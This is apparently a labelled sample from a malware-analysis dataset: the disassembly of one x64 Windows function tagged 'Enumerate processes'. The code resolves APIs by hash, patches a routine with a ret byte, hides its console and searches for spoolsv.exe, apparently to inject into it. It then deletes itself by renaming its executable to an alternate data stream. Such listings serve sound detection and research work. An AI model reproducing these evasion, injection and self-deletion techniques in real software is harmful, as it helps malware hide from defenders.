Function at 0x140001000
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x470], rax
call fcn.1400014a0
mov rcx, rax
mov edx, 0x9b12d05
call fcn.140001670
xor ebp, ebp
mov byte [rsp + 0x48], 0xc3
mov dword [rsp + 0x4c], ebp
mov rsi, rax
mov qword [rsp + 0x50], 0x1000
mov qword [rsp + 0x40], rax
call fcn.1400014a0
mov rcx, rax
mov edx, 0xe7abfe15
call fcn.140001670
mov rdi, rax
movzx ecx, byte [rax + 4]
lea rbx, [rax + 0x12]
mov dword [0x140050728], ecx
mov qword [0x140050730], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r9d, [rbp + 0x40]
lea rax, [rsp + 0x4c]
lea r8, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
call fcn.140002010
call fcn.1400014a0
mov rcx, rax
mov edx, 0x298d0b9f
call fcn.140001670
movzx ecx, byte [rax + 4]
add rax, 0x12
mov qword [0x140050730], rax
mov dword [0x140050728], ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9d, [rbp + 1]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea r8, [rsp + 0x48]
mov rdx, rsi
call fcn.140002010
movzx eax, byte [rdi + 4]
mov dword [0x140050728], eax
mov qword [0x140050730], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rsp + 0x4c]
lea r8, [rsp + 0x50]
mov rcx, rax
lea rdx, [rsp + 0x40]
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
call fcn.140002010
call fcn.140001980
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
lea ecx, [rbp + 2]
mov edi, ebp
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400011aa
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400011a1
nop dword [rax + rax]
lea rdx, str.spoolsv.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000119d
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001170
jmp 0x1400011a1
mov edi, dword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.140001d70
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x410
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov byte [rsp + 0x48], 1
lea rdx, [rsp + 0x60]
movabs rax, 0x6c00650073003a
mov dword [rdi + 0x10], 8
mov r8d, 0x208
mov qword [rdi + 0x14], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r9d, r9d
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], ebp
lea rcx, [rsp + 0x60]
mov edx, 0x110000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r9d, 0x20
mov r8, rdi
mov rcx, rax
mov rbx, rax
lea edx, [r9 - 0x1d]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], ebp
lea rcx, [rsp + 0x60]
mov edx, 0x110000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r9d, 1
lea r8, [rsp + 0x48]
mov rcx, rax
mov rbx, rax
lea edx, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140002030
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret